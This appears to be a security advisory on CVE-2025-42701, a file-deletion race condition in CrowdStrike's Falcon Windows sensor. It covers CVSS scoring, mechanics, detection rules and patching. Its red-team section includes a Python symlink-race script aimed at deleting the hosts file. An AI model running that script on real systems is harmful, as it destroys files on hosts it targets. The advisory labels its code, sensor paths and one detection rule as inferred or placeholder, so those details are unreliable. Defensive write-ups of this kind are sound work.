CVE-2025-42701

Executive Summary

CVE-2025-42701 is a race condition vulnerability in the CrowdStrike Falcon sensor for Windows. This flaw allows an attacker, who already has the ability to execute code on a host, to delete arbitrary files. The vulnerability has a CVSS score of 5.6, indicating a medium severity. CrowdStrike has released a fix in Falcon sensor for Windows versions 7.24 and above, and all Long Term Visibility (LTV) sensors. The Falcon sensor for Mac, Linux, and Legacy Systems are not affected. The issue was discovered through CrowdStrike's HackerOne bug bounty program and responsibly disclosed by Cong Cheng. There is no evidence of exploitation in the wild.

CVSS Breakdown & Threat Level

• CVSS Score: 5.6 (Medium)
• Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N
• Attack Vector (AV): Local (L) - The attacker must have local access to the system.
• Attack Complexity (AC): High (H) - The attack depends on a race condition, which is difficult to reliably exploit.
• Privileges Required (PR): Low (L) - The attacker needs some level of code execution on the host.
• User Interaction (UI): None (N) - No user interaction is required.
• Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the vulnerable component.
• Confidentiality (C): None (N) - No impact on data confidentiality.
• Integrity (I): High (H) - The attacker can delete arbitrary files, causing significant integrity loss.
• Availability (A): None (N) - No direct impact on availability.

Threat Level: Medium. The requirement for prior code execution and the complexity of exploiting a race condition reduce the immediate threat, but the potential for arbitrary file deletion makes it a serious concern for post-exploitation scenarios.

Deep Dive & Mechanics

The vulnerability is a race condition (CWE-362) within the CrowdStrike Falcon sensor for Windows. The Falcon sensor operates with high privileges to monitor system activity. A race condition occurs when the sensor performs a file operation (e.g., creating, moving, or deleting a temporary file) in a way that is not atomic. An attacker with code execution on the host can exploit this window of opportunity.

Mechanics:

1. The Falcon sensor performs a file operation, such as creating a temporary file and then moving or deleting it.
2. An attacker, running code on the same host, continuously monitors the file system for the specific file path used by the sensor.
3. During the race window (between the file creation and the intended operation), the attacker can replace the file with a symbolic link (symlink) pointing to a target file (e.g., C:\Windows\System32\drivers\etc\hosts or a critical system DLL).
4. When the Falcon sensor performs its intended operation (e.g., deleting the temporary file), it follows the symlink and deletes the target file instead.

This allows an attacker to delete arbitrary files on the system, potentially causing system instability, disabling security controls, or destroying evidence.

Vulnerable vs. Patched Code

Since the exact code is proprietary, we can only infer the fix. The vulnerable code likely had a Time-of-Check Time-of-Use (TOCTOU) issue.

Vulnerable Code (Conceptual):

// Vulnerable: Race condition between check and use
if (file_exists(temp_path)) {
    // Attacker can replace temp_path with a symlink here
    delete_file(temp_path); // Deletes the symlink target
}

Patched Code (Conceptual):

// Patched: Use atomic operations or proper locking
HANDLE hFile = CreateFile(temp_path, DELETE, 0, NULL, OPEN_EXISTING, FILE_FLAG_DELETE_ON_CLOSE, NULL);
if (hFile != INVALID_HANDLE_VALUE) {
    // File is locked, no symlink replacement possible
    CloseHandle(hFile); // File is deleted on close
}

The patched code likely uses atomic file operations (e.g., FILE_FLAG_DELETE_ON_CLOSE) or proper locking mechanisms to prevent the race condition.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Code execution on a Windows host with a vulnerable Falcon sensor (version < 7.24).
• Knowledge of a file path used by the Falcon sensor for temporary operations.

Exploitation Steps:

1. Identify Target Path: Use tools like Process Monitor (Procmon) to observe the Falcon sensor's file operations. Look for temporary files created and deleted in predictable locations (e.g., C:\ProgramData\CrowdStrike\Temp\).
2. Develop Exploit: Create a script that continuously monitors the target path and replaces the file with a symlink to the desired target (e.g., C:\Windows\System32\drivers\etc\hosts).

   import os
   import time
   import threading
   
   target_path = r"C:\ProgramData\CrowdStrike\Temp\falcon_temp.tmp"
   symlink_target = r"C:\Windows\System32\drivers\etc\hosts"
   
   def race_condition():
       while True:
           if os.path.exists(target_path):
               os.remove(target_path)
               os.symlink(symlink_target, target_path)
               time.sleep(0.001)  # Adjust timing
   
   thread = threading.Thread(target=race_condition)
   thread.start()
   

3. Trigger the Operation: Execute any action that causes the Falcon sensor to perform the vulnerable file operation (e.g., scanning a file, updating signatures).
4. Verify: Check if the target file (hosts) has been deleted.

Blue Team

Detection:

• Monitor for unusual file deletion events, especially of critical system files.
• Look for processes creating symlinks to sensitive files.
• Use Sysmon to log file creation and deletion events (Event ID 11, 23, 26).

Hunting:

• Search for processes with high privileges creating symlinks.
• Investigate any alerts related to the Falcon sensor crashing or behaving abnormally.

Mitigation:

• Apply the patch immediately (upgrade to version 7.24 or later).
• Restrict local code execution capabilities (e.g., AppLocker, WDAC).
• Monitor for post-exploitation activity.

Indicators of Compromise (IOCs)

• File Paths:
  • C:\ProgramData\CrowdStrike\Temp\*.tmp (temporary files used by the sensor)
  • Symlinks pointing to critical system files (e.g., C:\Windows\System32\drivers\etc\hosts, C:\Windows\System32\config\SAM)
• Processes:
  • CSFalconService.exe (the Falcon sensor service)
  • Any process creating symlinks to system files (e.g., cmd.exe, powershell.exe, python.exe)
• Registry Keys:
  • HKLM\SYSTEM\CurrentControlSet\Services\CSFalconService (service configuration)
• Network Connections:
  • Outbound connections to CrowdStrike cloud (ts01-b.cloudsink.net, etc.) - normal traffic, but anomalous patterns may indicate compromise.

Detection Engineering

YARA Rule

rule CVE_2025_42701_Race_Condition {
    meta:
        description = "Detects potential exploitation of CVE-2025-42701 by looking for symlink creation to critical files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-42701"
    strings:
        $symlink_cmd = "mklink" nocase
        $symlink_python = "os.symlink" nocase
        $target_hosts = "hosts" nocase
        $target_sam = "sam" nocase
        $target_system = "system32" nocase
    condition:
        (any of ($symlink_*) and any of ($target_*))
}

Sigma Rule

title: Potential Exploitation of CVE-2025-42701 - Symlink Creation to Critical Files
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects creation of symbolic links pointing to critical system files, which may indicate exploitation of CVE-2025-42701.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-42701
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 11  # FileCreate
        TargetFilename|endswith:
            - '\hosts'
            - '\SAM'
            - '\SYSTEM'
            - '\SECURITY'
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\python.exe'
    condition: selection
falsepositives:
    - Legitimate administrative use of symlinks
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2025-42701 Potential Exploitation - Unusual File Deletion"; flow:to_server,established; content:"DELETE"; http_method; content:"/CrowdStrike/"; http_uri; sid:1000001; rev:1;)

Note: This Suricata rule is a placeholder. The actual exploitation is local, so network detection is limited. Focus on host-based detection.

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade the Falcon sensor for Windows to version 7.24 or later. For LTV sensors, ensure they are on the latest LTV build.
2. Verify: Confirm the patch is applied by checking the sensor version in the CrowdStrike Falcon console.

Long-Term Mitigations:

• Principle of Least Privilege: Restrict local code execution capabilities. Use AppLocker or Windows Defender Application Control (WDAC) to block unauthorized scripts and executables.
• Endpoint Hardening: Enable Windows Defender Credential Guard and Remote Credential Guard to protect credentials.
• Monitoring: Implement robust monitoring for file system changes, especially symlink creation and deletion of critical files.
• Incident Response: Have a playbook ready for post-exploitation scenarios involving file deletion.

Workarounds (if patching is not immediately possible):

• Monitor the Falcon sensor's temporary file directory for unusual activity.
• Use Sysmon to log file creation and deletion events and alert on suspicious patterns.

Valters IT
Securing Digital Frontiers